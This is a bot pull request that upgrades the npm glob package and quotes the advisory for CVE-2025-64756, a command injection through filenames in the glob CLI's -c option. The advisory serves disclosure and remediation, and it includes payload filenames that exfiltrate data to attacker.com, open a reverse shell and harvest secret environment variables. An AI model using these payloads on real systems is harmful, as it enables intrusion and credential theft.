Update dependency glob to v10 [SECURITY] #25467

renovate · 2025-11-18T08:03:43Z

This PR contains the following updates:

Package	Change	Age	Confidence
glob	`8.1.0` -> `10.5.0`

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

User runs glob -c <command> <pattern>
CLI finds files matching the pattern
Matched filenames are collected into an array
Command is executed with matched filenames as arguments using shell: true
Shell interprets metacharacters in filenames as command syntax
Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface
Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
Any directory where attackers can control filenames (PR branches, archives, user uploads)
CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

The echo command executes normally
Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
A new file injected_poc is created, proving command execution
Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI
No privilege escalation required - runs as current user
Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository
CI pipeline uses glob -c to process files (linting, testing, deployment)
Commands execute in CI environment with build secrets and deployment credentials
Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames
Local build scripts use glob -c for file processing
Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content
File uploads with malicious names trigger command execution
Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names
Build processes using glob CLI automatically process these files
Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm
Package name: glob
Component: CLI only (src/bin.mts)
Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

Uh oh!

Update dependency glob to v10 [SECURITY] #25467

Are you sure you want to change the base?

Update dependency glob to v10 [SECURITY] #25467

Uh oh!

Conversation

renovate bot commented Nov 18, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

PoC

Impact

Affected Products

Remediation

Release Notes

Configuration

coderabbitai bot commented Nov 18, 2025

Review skipped

Labels

1 participant

renovate bot commented Nov 18, 2025 •

edited

Loading